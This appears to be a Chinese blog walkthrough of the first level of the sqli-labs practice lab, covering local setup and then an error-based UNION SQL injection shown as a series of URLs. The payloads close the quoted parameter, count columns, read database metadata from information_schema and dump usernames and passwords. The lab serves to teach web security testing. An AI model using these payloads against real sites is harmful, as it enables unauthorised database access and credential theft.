sqli_labs第一关

安装

https://github.com/Audi-1/sqli-labs下载源代码

搭建环境用的是phpstudy

编辑sqli\sql-connections\db-creds.inc文件 修改mysql链接数据库帐号密码。

为了方便看见sql语句,在$sql这句话下面添加echo...这句。

 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo "your sql statement is ".$sql."<br>";   

 

实验

第一节:GET – 基于错误 – 单引号 – 字符型

添加id=1正常,id=1' 报错,根据报错信息可以看出来,输入的内容被单引号括住了。

http://192.168.2.132/sqli/Less-1/index.php?id=1'  --+ 闭合单引号

http://192.168.2.132/sqli/Less-1/index.php?id=1'  order by 3 --+  order by 3正常,4报错.

http://192.168.2.132/sqli/Less-1/index.php?id=-1'  union select 1,2,3 --+   爆出位置

 

查询当前使用的数据库和基本信息

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+

 

其中concat_ws()的第一个参数是连接字符串的分隔符,user():返回当前数据库连接使用的用户,database():返回当前数据库连接使用的数据库,version():返回当前数据库的版

查询数据库security的表

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema=0x7365637572697479 --+

 

查询数据库security的表user下的列字段

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_name=0x7573657273 --+

查询值,帐号为Dumb,密码为Dumb

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),username,password) from users --+

 

转载于:https://www.cnblogs.com/cui0x01/p/8646468.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值